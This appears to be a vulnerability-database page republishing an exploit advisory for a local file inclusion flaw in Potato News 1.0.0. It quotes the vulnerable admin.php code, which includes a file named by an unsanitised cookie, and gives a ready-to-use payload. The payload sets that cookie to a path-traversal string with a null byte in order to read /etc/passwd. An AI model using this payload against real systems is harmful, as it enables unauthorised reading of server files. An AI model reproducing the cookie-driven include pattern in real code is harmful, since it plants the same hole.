Lucene search
K

Potato News 1.0.0 (user) Local File Inclusion Vulnerability

🗓️ 10 Feb 2009 00:00:00Reported by x0rType 
zdt
 zdt
🔗 0day.today👁 14 Views

Potato News 1.0.0 Local File Inclusion Vulnerability in admin.ph

Code
===========================================================
Potato News 1.0.0 (user) Local File Inclusion Vulnerability
===========================================================


#########################################################################################
[0x01] Informations:

Name           : Potato News 1.0.0
Download       :
http://potato-news.googlecode.com/files/potatonews-1.0.0.zip
Vulnerability  : LFI
Author         : x0r
Notes          : Proud to be Italian
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/admin.php

[Code]
	<?PHP
if (isset($_COOKIE["user"])) {
$id = $_COOKIE["user"];
if (file_exists("data/users/$id.php")) {
include ("data/users/$id.php");
if ($usaavatar == "") {
echo "<img height='75px' width='75px' src='images/noav.jpg'/>";

} else {
echo "<img height='75px' width='75px' src='$usaavatar'/>";
}
}
[/code]

#########################################################################################
[0x03] Exploit:

Exploit: javascript:document.cookie =
"user=../../../../../../../../../../etc/passwd%00; path=/"

########################################################################################



#  0day.today [2018-01-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Feb 2009 00:00Current
7.1High risk
Vulners AI Score7.1
14